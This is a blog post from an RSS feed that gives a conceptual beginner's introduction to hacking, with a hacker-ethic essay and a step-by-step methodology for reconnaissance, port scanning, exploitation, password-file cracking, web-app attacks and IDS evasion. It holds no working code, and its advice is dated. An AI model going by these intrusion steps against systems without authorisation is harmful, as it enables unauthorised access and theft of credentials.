<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Although I have been fiercely propagating creativity, I do believe that it is important to follow (not religiously though) a standard methodology when hacking. This ensures that you hack effectively and do not forget any necessary steps due to your enthusiasm or various other reasons. Of course, the methodology you choose should be one you have studied thoroughly (or created it yourself &#8216; even better), and customized to your specific needs. What we are talking about, here, is a hacked methodology, by means of our prior definition of what hacking essentially is. A nice, open-source methodology for security testing is provided by the fine folks at ISECOM, and is called OSSTMM. I suggest you have a look at it. Now moving on to the juicy bits.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Step 1: Profiling the target (fingerprinting): Just like in real life, the first thing you need to when planning an attack is information gathering. If your target was to break in a house, you wouldn&#8217;t just smash the window and enter, not if you didn&#8217;t want to get busted that is. The same goes for hacking. You main source to gather information is, you guessed it, the internet. Use the main search engines (Google is good, but there&#8217;s tons of other search engines that you might want to have a look at, see Fravia&#8217;s ww.searchlores.org to learn how to find anything and everything on the web). Identify IP addresses, Domain Name Servers, telephone numbers (might come in handy for war dialling) , key personnel names; try to find messages in public message boards seeking technical information on specific problems they might have, for this might reveal specific software or hardware they are running, as well as version numbers. Gather e-mail addresses and e-mail server IPs, articles written by the target&#8217;s personnel, whatever seems relevant and you can lay your hands on. Use tools such as SamSpade, query the public Whois databases (like www.ripe.net), do what you have to do, be creative. This way, you will plot a nice picture of the target, though public channels, without having to query the target at all. This phase might seem dull to you, but it&#8217;s the quintessence of hacking. Without this information, you will be surely lost and helpless, in danger of knocking other people&#8217;s virtual doors, or even worse, knocking in vain where it is unlikely that you will ever get an answer.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Step 2: Scanning &amp; Beyond: Now comes the point where you reckon you have gathered enough information to start getting more active. You have discovered several public facing devices perhaps a couple of firewalls, routers, Web and Mail Servers and you wonder what you can do to them. This is when you start scanning your target. The art of scanning attempts to find out what particular services and program daemons are listening, and on which ports. While there are several methods (Xmas, Null, Full, UDP) to discover such information, the most common and effective one is to send synchronisation (SYN) requests to your target. This is also known as the half-open TCP connection, and usually it manages to obtain a list of ports which demonstrated an interest, revealing that there is something running there. When there is something running, it can probably be exploited. You can use tools like Nmap by Fyodor, or Superscan(GUI)/Scanline(command line) by Foundstone. There are many free scanners out there, you go and have a look for yourself. An indispensable part of port scanning is the so-called banner grabbing. This functionality is included nowadays with many of the freely available scanners and what it does is try to tell you more about what it has found, such as which piece of software is active, what version it is running etc. There is a beautiful tool capable of doing myriads of things, that might help you in this goal too, and this tool is called NetCat. Netcat tries to establish a remote connection to a user-defined port, and sometimes it can achieve that, often revealing sensitive, useful information that will help you better profile your target&#8217;s vulnerabilities. Alternatively, you can use a splendid free tool called Nessus, which does just that, without getting you into manual trouble at all. Nessus is a general purpose scanner, which runs off a constantly updated vulnerability database. If you run Nessus against your target, it will inform you of any specific holes it has found, and will propose remedial action. If you like it manual, though, you can now browse to a public vulnerability database (hint: www.securityfocus.com), and see which (if any) exploits are applicable in your situation.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Step 3: Exploitation: There you are, you have found at least one machine that&#8217;s running a service vulnerable to some exploit you are now aware of. You can try to exploit the hole reported, using publicly available exploit code, or when you have become a competent hacker, perhaps write your own exploit. Not all exploits will provide you with System privileges in your target system; many of the security problems are of a different nature, some can cause Denial of Service Attacks (another big topic), others are related with more subtle issues, such as ineffective logging. Give it a try, though. See if the problem you have spotted is likely to cause &#8216;remote arbitrary code execution&#8217;. If the problem is a buffer overflow, your chances are good. Check out the MetaSploit framework, an experimental website dedicated to exploit development and research. With some luck, you might end up having System privileges in your target network. This effectively means you can do whatever you want. Even if you have not achieved to break in with Systems privileges, you might try to escalate your privileges while inside. For that, you can use local exploits, a different family of exploits. Use your imagination and creativity. There is no strict rule as to what you can do. You can attempt to go even further, perhaps by obtaining a copy of the local password file. In modern OSs, the password file is encrypted so you &#8216;d better transfer a copy of the password file to your local machine and try to crack it later using one of the many, free password crackers. You might now be thinking &#8216;Hey what&#8217;s all that crap you said before that strong cryptography is extremely difficult to crack&#8217;? There is one condition under which cryptography is effective: that the user chooses a good password. See, most of the times the cryptographic algorithm generates a hash of the password provided. A hash is a mathematical one-way function that&#8217;s meant to be extremely difficult to reverse. What password crackers do, effectively, is to try to match weak passwords (taken from password lists) with the equivalent entries in a hash file. A different approach (more lengthy indeed) is to try all possible combinations to match a password and its hash. These approaches are tagged Dictionary and Brute Force attack, respectively.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Step Null: Web Application Hacking: A category of devices that deserves special treatment is that of Web Servers. To you, the newbie, this probably can be interpreted as website hacking. Websites sit on machines called Web Servers, which run special software to achieve their goal (serve web content to you). We classify this as &#8216;application hacking&#8217; because most of the stuff runs at the application (the highest) layer of the OSI seven-layered model. There&#8217;s a bunch of nasty things you can do to web applications, including, but not limited to SQL injection, path traversal, and cross site scripting. The list goes on. For a very good interactive tutorial on application testing, I refer you to the WebGoat (www.owasp.org). As far as automated Web app scanning, there&#8217;s a fine tool called Nikto which launches specialised attacks to test security and/or patching level. Manually speaking, there&#8217;s a suite of tools called proxies which you will find very useful if you are interested in application testing. Proxies basically sit between you and the web server, acting as a man-in-the-middle. All requests that you send to the web server can be intercepted and modified by the proxy before they leave your machine. In this way, you can craft customised requests, mess around with HTTP, manipulate cookies, change fields as you see fit, and see what happens. Some nice, free proxies for Windows are Odysseus, Achilles and WebScarab.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Step Nullx02: Firewall Hacking / IDS evasion: Due to the increase in electronic attacks, the high availability of information and tools, and human stupidity, today&#8217;s IT landscape is very tight. One can envisage a company&#8217;s network as a castle, without an easy way in. Devices called Firewalls can be thought of as the walls protecting the castle; Intrusion Detection Systems can be viewed as dog guards. What a firewall effectively does is take the responsibility to define which services and protocols will be allowed in and out of the caste. It&#8217;s a passive, but effective, means of defence if configured correctly. IDS systems usually work with attack signatures. Their role is to be more energetic, logging and preventing potential attacks. They also attempt to stop so-called 0-day hacks by applying intelligent hostile activity recognition methods to incoming traffic, even when there is no actual match to one of the attack signatures in the database. Firewall hacking is difficult and requires skill and creativity. One simple approach is to try and tunnel hostile traffic through a port/service that is being permitted by the firewall &#8216;officially&#8217;. Port 80, the one used to allow internal users to browse the web, is a good candidate for experimentation. IDS systems evasion can also be a difficult task, because these systems are getting more and more intelligent as we speak. One straightforward approach to attempt to cause confusion is packet fragmentation. Using tools such as the fragrouter by Dug Song, the IDS systems cannot tell with certainty whether the incoming packets constitute an attack or not, because the structure of the packets differs from the signatures in the IDS&#8217; database. To be honest with you, this last step is a bit advanced, but I thought I&#8217;d mention it here since I had some free space, and it&#8217;s an important section in the IT infrastructure.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Considerations &amp; Conclusions: As I said before, hacking in our era can be dangerous. Needless to say here, I do not have responsibility if you do anything stupid with the knowledge and tools that you became aware of in this document. Handle with caution. Other than that, may I wish to you, reader, good luck in you journey to knowledge through hacking. It is a difficult and certainly long journey, and you will often feel disappointed and might consider quitting. I strongly suggest that you stay, though, for it is a fascinating field and many interesting people are involved in this. I wish to stress one more time, here, that if you feel like staying with us, please do it right, and don&#8217;t be one of these lusers who go out there and Change HTML (the equivalent of Spray painting) in some old, forgotten, unprotected and unpatched web servers operated, perhaps, by the catholic church of Stoke-on-Trent. These people give a bad reputation to hacking, and are certainly not hackers themselves.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Contact: That&#8217;s it reader. I hope you have gained some useful information from this document I composed. Even more, I hope that you might be inclined to research these issues for yourself, hopefully under the right ethics and mentality, as a true hacker should. Obviously, this is just an A4 you&#8217;re holding so you probably didn&#8217;t expect me to fit in here even more information than I already did. Feel free to contact me with your opinion/feedback on this paper. If you intend to ask me any questions, though, be very careful. If you manage to convince me that you have spent considerable time on research, tried different approaches, used your brain but still have not managed to reach a sound conclusion, I will be more than happy to help you. (If I know the answer, which I seriously doubt for I am a novice as well). If, on the contrary, you send me an email with a very lame question that clearly demonstrates you fall into the dreadful category of hotmail password seekers/lazy lusers that want everything served to them without moving their little finger, then I am afraid that I will not reply to you, hell I might even try to spam your mailbox (joke). I&#8217;m sorry if my communication approach does not satisfy you, but these are the rules of the game. Take care.</div>
<p>Guest Post by (Pascal.Cretain[AT]gmail.com)</p>
<p>An awful lot has been said about hacking, most of it is simply not true. Due to misinformation, ignorance, the decline of mass media, and other miscellaneous obscure powers, hacking has been associated with electronic crime, illegal access to forbidden realms, the pentagon, the FBI, the CIA, the Russian mafia, credit card fraud, identity theft, software piracy, vandalism, corruption, murder and death. Give me a break. A hacker, in the original sense, is a person who is curious, inventive, intelligent, eager to learn, willing to discover (and perhaps fail a thousand times before achieving any result) alternative ways of using tools and ideas. Using a metaphor here, if I may, a hacker is a bit like a child; she likes to take things apart to see what&#8217;s inside, and find out how things actually work. A hacker likes to stretch things to their limits, use devices in ways they were not meant to be used, cross borders and break rules just for the sake of experimentation. A real hacker does not give a fuck about the potential trophy (be it a p0rn, software, monetary compensation, sensitive databases or anything else) waiting for her as soon she has gained access to a restricted domain using a creative, alternative route to circumvent the defence mechanisms in place. She might e-mail the system administrators to let them know that their security is crap, at best, leave everything impact, then move on to a new project. A hacker is more than anything else, a student, not a criminal mind, period. This definition is not necessarily restricted in the world of computing. One can hack in real life. If you decide that your TV does not have any positive effect on your life when it&#8217;s on, and decide to cover it with a table cloth, and use it to eat your breakfast on, then you have hacked your TV, in a primitive fashion. Well done, that&#8217;s a great starting point.</p>
<p>There is a reason why all this bad hype around hacking has been created. See, hacking is tightly bound with intelligence, creativity and free spirit. Now these attributes are a bit of a threat to governments, global regulators and other bodies &#8216;in charge&#8217; who want to run the show. To achieve their goal easily and effectively, the controlling powers need to have obedient, non-creative and certainly not very intelligent citizens under their supervision. Where this profit-making, control seeking &#8216;plan&#8217; is supposed to lead humanity is beyond me, still there is a good chance that this is the way things work nowadays. It is not a coincidence that formal education has degraded to simple (biased) information processing. Our schools, institutions, society and family do not encourage creative and alternative thinking. In fact, they are afraid of it. This concept can extend even more, taking into consideration our lives and career aspirations in general. As the freegan manifesto (http://freegan.info/?page=anotherview) accurately proclaims, as much as capitalists like equating the free market with freedom, our lives are severely constrained under capitalism. Here in we are all expected to live within the rules of a specific narrow model. We go to schools that promote hierarchy and obedience while suppressing creativity and indoctrinating us with the patriotic dogmas and distorted histories of the dominant forces of our national leadership. We are compelled to fiercely compete for the best grades so that we can get into the best college, run up big debts on college loans that we will spend years paying off. Get good grades, get into the best grad school, get a high paying job, buy lots of stuff, buy a house and spend years paying off the mortgage, have kids, keep working to the point where out jobs become miserable unending chores, put our kids through college and grad school so they can start on the same cycle. We go through a mid-life crisis where we wonder what the point of it all is. We retire and get sick with degenerative diseases from a lifetime of eating an unhealthy, fast-food, meat based died and from sedentary living&#8211; miserable desk jobs and hours spent vegetating in front of corporate pablum on television. As we degenerate, bored, lonely, and isolated in a society that overvalues competition and undervalues community, we are shipped off to nursing homes, eventually end up in hospitals that attempt to prolong miserable and unhealthy lives, with surgical procedures and drugs and radiation treatments that are tremendously profitable to insurance companies, hospitals, physicians, and medical equipment and drug manufacturers, but do little to address the underlying issues of poor health and often make us even sicker. Eventually we die, providing income to the undertakers, coffin manufacturers, funeral parlours, and cemeteries to turn our corpses into formaldehyde filled hazardous waste that will not be cycled back into the ecosystem locked in boxes made of dead rainforest trees or strip-mined metals. This is considered &#8220;a successful life&#8217; for the Western middle class and lower portions of the upper class. Apparently, I got a bit carried away, but follow me and you will see where I am getting at.</p>
<p>Don&#8217;t panic, though, for all is not lost. We have the unbelievable luxury of living in the internet era. Now this is a whole new topic again, and a huge one indeed, but it is very relevant to this study for certain reasons. If you think back some years ago, access to information and knowledge was very, very different. First of all, there used to be one horrible restriction to acquire information: it had a price. To learn how to be a doctor, computer programmer, lawyer, journalist, biologist, builder, you had to buy many, expensive books and/or go to expensive schools. You very evolution itself was too damn hard, since every time you encountered a problem, an unknown condition in your field, you had to go to public libraries, make expensive telephone calls to other fellow professionals, spend time investigating and if you were lucky enough to find a solution, you would rely on it just because it was the only solution you were able to locate. It is not the case today. Today&#8217;s internet is a gift. An ever-changing, almost organic collection of all sorts of information that brings together individuals and ideas of all races, social classes, religions, scientific fields and arts. The power of this mechanism lies in its multi-inclusive nature. Looking for an answer to a question you might have, you are very likely to encounter tons of crap, some quite good approaches, and a few superb ones. You will, though, invariably gain the ability to evaluate, judge, search and think for yourself. And that, my friend, is a tremendous skill. In fact, it is the very root of becoming a superior human being and understanding the world you happen to live in, in depth, so you can make conscious choices and reject this or that lifestyle that &#8216;they&#8217; are trying to enforce upon you. Computer (or real life) hacking just happens to be one of the benefits drawn from this new skill that you will (hopefully) acquire. So, if there is one service you have to buy in this damn world, it is, in my humble opinion, a good internet connection. Get DSL. Assuming that living in London you speak English, internet access is all you are ever going to need ( provided that you have a computer &#8216; a crappy one will do, get your uncle&#8217;s old PC that she was planning to donate to charity if you have to), plus some spare time to invest.</p>
<p>Trust me in this one, reader: It will not always be like that. The internet is a very new invention, and a very groundbreaking one. As it happens with all radical inventions in the history of mankind (the wheel, electricity, relativity) it takes quite some time until people are eventually able to govern the new invention&#8217;s power, and restrict its potential misuse through many rules, legislation and supervision. The early stages are somewhat &#8216;experimental&#8217; and very liberal. Man (including the superior forces running the show) has realised the full potential of the internet as a generous profit-making source. Due to the fact that one of our main characteristics is greed, people got quickly addicted (and dependent) to the internet, and now refuse to let go. Fortunately for the rest of us, not profit-oriented, various healthy tendencies including open source information exchange grew in parallel and got their place quietly in the internet. Because of the fact that no-body actually &#8216;owns&#8217; the internet, it is deemed very unlikely that the internet is going to shut down some time soon for &#8216;general maintenance and regulations introduction&#8217;. Control is happening, though. Slowly it spreads over the wires through mechanisms like legislation, and sniffing. There are however countermeasures to being supervised: Cryptography is a good one. Cryptography has been made available to the masses about a decade ago through a program called PGP (Pretty Good Privacy) written by a genius hacker called Phil Zimmerman. Cryptography is another, very complicated issue that we are not going to cover here, but it is worth mentioning that the strength of your encrypted messages relies on the size (in bits) of the encryption algorithm. If 40 bits are used, it&#8217;s quite easy to decrypt. If 256 bits are used it&#8217;s bloody difficult, even for governments or intelligence agencies to decrypt your message. This is because the extent of difficulty introduced to a cipher by adding just one bit doubles, so that a cipher with 41 bits is twice as hard to crack (takes twice the time) compared to one using 40 bits. This is why the US government has put restrictions to the exports of cryptographic algorithms (40 bits I think), and they have classified cryptography under &#8216;weapons&#8217; so that they can maintain control of the game. Moral of the story: (Ab)use the internet in its present form, for it might not last that long.</p>
<p>While it is possible to hack computer networks without being a programmer (or at least being able to read and understand code) I strongly suggest you acquire that skill. Remember, the goal is not to scratch the surface (as sick of it all says), but to get a shovel and start digging. If you want to hack wisely, you have to understand how the tools you are going to use actually work. That&#8217;s why I personally support the &#8216;open source&#8217; approach, because it gives you access to the underlying architecture of all the tools you are using. In that way, you can really understand what&#8217;s going on behind the scenes, and perhaps modify anything as you see fit. The languages commonly used in the computer security field are Ansi C (often used in a scripting approach under the UNIX shell), and many general purpose scripting languages such as Tcl, Perl and Python. I have seen apps recently written in pure Java, though this language is generally not preferred in the underground. Moreover, you must get acquainted with the basic concepts of computer networking. There are a few protocols which are extremely popular and you should know how they work. These include the TCP/IP protocol suite (including UDP and ICMP), the mail protocols (POP3 and SMTP) and various others such as HTTP. You should also get familiar with the major Operating Systems, Windows and Linux. There are things you can do with one but can&#8217;t with the other, so you should learn and use both. If you have no fuckin&#8217; clue what I&#8217;m talking about in these last few lines, then I strongly urge you to get an internet connection (see above), and start using www.google.com to educate yourself. I shall warn you here, reader, that the legislation on computer attacks is rapidly changing, and getting stricter every day. So as soon as (and if) you ever start launching attacks against computer networks, be sure to launch them against networks you own, or ones that you have formal authorisation to perform testing against, to avoid getting in trouble. It is perfectly possible to hide your tracks and clean up your mess effectively, but it is a very daunting task, something that comes with experience. As a newbie, you might as well forget about it for the time being.</p>
<p>I suspect what you might be thinking &#8216;Hey, that&#8217;s all good, now teach me how to hack!&#8217;, and, gee, I really hope that I&#8217;m wrong. See, there is a reason why I decided to release this document in this very event &#8211; the resistance festival. Taking into account the fact that you came here, you are quite likely a person who already has an &#8216;alternative&#8217; approach to life. You try to differentiate yourself from the mass through unconventional music and other art forms, &#8216;revolutionary&#8217; appearance (we have all been there at one time or another), maybe travelling and the likes. If you have followed me until this point, you have hopefully realised that the mission of this document is not to provide some quick guide to getting porn and certainly not illegally accessing your girlfriend&#8217;s hotmail account. It is to teach you how to be a creative problem solver, and how to seek knowledge. The means employed to try and get you started is computer hacking. This is because it just so happens that I have an elementary knowledge of this field, I consider it interesting, and I feel that there is a great potential to it. If, on the other hand, you are one of them people who want to learn how to hack computer systems because it is considered &#8216;elite&#8217;, or to get some free shit, while not having genuine interest in improving yourself, perhaps the security mechanisms employed in the IT industry nowadays, and eventually getting (more) wise then to hell with you anyway. Forget you ever read this document and go back to whatever you were doing. The community does not need you.</p>
<p>Section II: Doing it</p>
<hr />
<p>Although I have been fiercely propagating creativity, I do believe that it is important to follow (not religiously though) a standard methodology when hacking. This ensures that you hack effectively and do not forget any necessary steps due to your enthusiasm or various other reasons. Of course, the methodology you choose should be one you have studied thoroughly (or created it yourself &#8216; even better), and customized to your specific needs. What we are talking about, here, is a hacked methodology, by means of our prior definition of what hacking essentially is. A nice, open-source methodology for security testing is provided by the fine folks at ISECOM, and is called OSSTMM. I suggest you have a look at it. Now moving on to the juicy bits.</p>
<p>Step 1: Profiling the target (fingerprinting): Just like in real life, the first thing you need to when planning an attack is information gathering. If your target was to break in a house, you wouldn&#8217;t just smash the window and enter, not if you didn&#8217;t want to get busted that is. The same goes for hacking. You main source to gather information is, you guessed it, the internet. Use the main search engines (Google is good, but there&#8217;s tons of other search engines that you might want to have a look at, see Fravia&#8217;s ww.searchlores.org to learn how to find anything and everything on the web). Identify IP addresses, Domain Name Servers, telephone numbers (might come in handy for war dialling) , key personnel names; try to find messages in public message boards seeking technical information on specific problems they might have, for this might reveal specific software or hardware they are running, as well as version numbers. Gather e-mail addresses and e-mail server IPs, articles written by the target&#8217;s personnel, whatever seems relevant and you can lay your hands on. Use tools such as SamSpade, query the public Whois databases (like www.ripe.net), do what you have to do, be creative. This way, you will plot a nice picture of the target, though public channels, without having to query the target at all. This phase might seem dull to you, but it&#8217;s the quintessence of hacking. Without this information, you will be surely lost and helpless, in danger of knocking other people&#8217;s virtual doors, or even worse, knocking in vain where it is unlikely that you will ever get an answer.</p>
<p>Step 2: Scanning &amp; Beyond: Now comes the point where you reckon you have gathered enough information to start getting more active. You have discovered several public facing devices perhaps a couple of firewalls, routers, Web and Mail Servers and you wonder what you can do to them. This is when you start scanning your target. The art of scanning attempts to find out what particular services and program daemons are listening, and on which ports. While there are several methods (Xmas, Null, Full, UDP) to discover such information, the most common and effective one is to send synchronisation (SYN) requests to your target. This is also known as the half-open TCP connection, and usually it manages to obtain a list of ports which demonstrated an interest, revealing that there is something running there. When there is something running, it can probably be exploited. You can use tools like Nmap by Fyodor, or Superscan(GUI)/Scanline(command line) by Foundstone. There are many free scanners out there, you go and have a look for yourself. An indispensable part of port scanning is the so-called banner grabbing. This functionality is included nowadays with many of the freely available scanners and what it does is try to tell you more about what it has found, such as which piece of software is active, what version it is running etc. There is a beautiful tool capable of doing myriads of things, that might help you in this goal too, and this tool is called NetCat. Netcat tries to establish a remote connection to a user-defined port, and sometimes it can achieve that, often revealing sensitive, useful information that will help you better profile your target&#8217;s vulnerabilities. Alternatively, you can use a splendid free tool called Nessus, which does just that, without getting you into manual trouble at all. Nessus is a general purpose scanner, which runs off a constantly updated vulnerability database. If you run Nessus against your target, it will inform you of any specific holes it has found, and will propose remedial action. If you like it manual, though, you can now browse to a public vulnerability database (hint: www.securityfocus.com), and see which (if any) exploits are applicable in your situation.</p>
<p>Step 3: Exploitation: There you are, you have found at least one machine that&#8217;s running a service vulnerable to some exploit you are now aware of. You can try to exploit the hole reported, using publicly available exploit code, or when you have become a competent hacker, perhaps write your own exploit. Not all exploits will provide you with System privileges in your target system; many of the security problems are of a different nature, some can cause Denial of Service Attacks (another big topic), others are related with more subtle issues, such as ineffective logging. Give it a try, though. See if the problem you have spotted is likely to cause &#8216;remote arbitrary code execution&#8217;. If the problem is a buffer overflow, your chances are good. Check out the MetaSploit framework, an experimental website dedicated to exploit development and research. With some luck, you might end up having System privileges in your target network. This effectively means you can do whatever you want. Even if you have not achieved to break in with Systems privileges, you might try to escalate your privileges while inside. For that, you can use local exploits, a different family of exploits. Use your imagination and creativity. There is no strict rule as to what you can do. You can attempt to go even further, perhaps by obtaining a copy of the local password file. In modern OSs, the password file is encrypted so you &#8216;d better transfer a copy of the password file to your local machine and try to crack it later using one of the many, free password crackers. You might now be thinking &#8216;Hey what&#8217;s all that crap you said before that strong cryptography is extremely difficult to crack&#8217;? There is one condition under which cryptography is effective: that the user chooses a good password. See, most of the times the cryptographic algorithm generates a hash of the password provided. A hash is a mathematical one-way function that&#8217;s meant to be extremely difficult to reverse. What password crackers do, effectively, is to try to match weak passwords (taken from password lists) with the equivalent entries in a hash file. A different approach (more lengthy indeed) is to try all possible combinations to match a password and its hash. These approaches are tagged Dictionary and Brute Force attack, respectively.</p>
<p>Step Null: Web Application Hacking: A category of devices that deserves special treatment is that of Web Servers. To you, the newbie, this probably can be interpreted as website hacking. Websites sit on machines called Web Servers, which run special software to achieve their goal (serve web content to you). We classify this as &#8216;application hacking&#8217; because most of the stuff runs at the application (the highest) layer of the OSI seven-layered model. There&#8217;s a bunch of nasty things you can do to web applications, including, but not limited to SQL injection, path traversal, and cross site scripting. The list goes on. For a very good interactive tutorial on application testing, I refer you to the WebGoat (www.owasp.org). As far as automated Web app scanning, there&#8217;s a fine tool called Nikto which launches specialised attacks to test security and/or patching level. Manually speaking, there&#8217;s a suite of tools called proxies which you will find very useful if you are interested in application testing. Proxies basically sit between you and the web server, acting as a man-in-the-middle. All requests that you send to the web server can be intercepted and modified by the proxy before they leave your machine. In this way, you can craft customised requests, mess around with HTTP, manipulate cookies, change fields as you see fit, and see what happens. Some nice, free proxies for Windows are Odysseus, Achilles and WebScarab.</p>
<p>Step Nullx02: Firewall Hacking / IDS evasion: Due to the increase in electronic attacks, the high availability of information and tools, and human stupidity, today&#8217;s IT landscape is very tight. One can envisage a company&#8217;s network as a castle, without an easy way in. Devices called Firewalls can be thought of as the walls protecting the castle; Intrusion Detection Systems can be viewed as dog guards. What a firewall effectively does is take the responsibility to define which services and protocols will be allowed in and out of the caste. It&#8217;s a passive, but effective, means of defence if configured correctly. IDS systems usually work with attack signatures. Their role is to be more energetic, logging and preventing potential attacks. They also attempt to stop so-called 0-day hacks by applying intelligent hostile activity recognition methods to incoming traffic, even when there is no actual match to one of the attack signatures in the database. Firewall hacking is difficult and requires skill and creativity. One simple approach is to try and tunnel hostile traffic through a port/service that is being permitted by the firewall &#8216;officially&#8217;. Port 80, the one used to allow internal users to browse the web, is a good candidate for experimentation. IDS systems evasion can also be a difficult task, because these systems are getting more and more intelligent as we speak. One straightforward approach to attempt to cause confusion is packet fragmentation. Using tools such as the fragrouter by Dug Song, the IDS systems cannot tell with certainty whether the incoming packets constitute an attack or not, because the structure of the packets differs from the signatures in the IDS&#8217; database. To be honest with you, this last step is a bit advanced, but I thought I&#8217;d mention it here since I had some free space, and it&#8217;s an important section in the IT infrastructure.</p>
<p>Considerations &amp; Conclusions: As I said before, hacking in our era can be dangerous. Needless to say here, I do not have responsibility if you do anything stupid with the knowledge and tools that you became aware of in this document. Handle with caution. Other than that, may I wish to you, reader, good luck in you journey to knowledge through hacking. It is a difficult and certainly long journey, and you will often feel disappointed and might consider quitting. I strongly suggest that you stay, though, for it is a fascinating field and many interesting people are involved in this. I wish to stress one more time, here, that if you feel like staying with us, please do it right, and don&#8217;t be one of these lusers who go out there and Change HTML (the equivalent of Spray painting) in some old, forgotten, unprotected and unpatched web servers operated, perhaps, by the catholic church of Stoke-on-Trent. These people give a bad reputation to hacking, and are certainly not hackers themselves.</p>
<p>Contact: That&#8217;s it reader. I hope you have gained some useful information from this document I composed. Even more, I hope that you might be inclined to research these issues for yourself, hopefully under the right ethics and mentality, as a true hacker should. Obviously, this is just an A4 you&#8217;re holding so you probably didn&#8217;t expect me to fit in here even more information than I already did. Feel free to contact me with your opinion/feedback on this paper. If you intend to ask me any questions, though, be very careful. If you manage to convince me that you have spent considerable time on research, tried different approaches, used your brain but still have not managed to reach a sound conclusion, I will be more than happy to help you. (If I know the answer, which I seriously doubt for I am a novice as well). If, on the contrary, you send me an email with a very lame question that clearly demonstrates you fall into the dreadful category of hotmail password seekers/lazy lusers that want everything served to them without moving their little finger, then I am afraid that I will not reply to you, hell I might even try to spam your mailbox (joke). I&#8217;m sorry if my communication approach does not satisfy you, but these are the rules of the game. Take care.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/9/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/9/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/9/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=9&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2006/10/18/hacking-a-very-brief-introduction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
	</channel>
</rss>
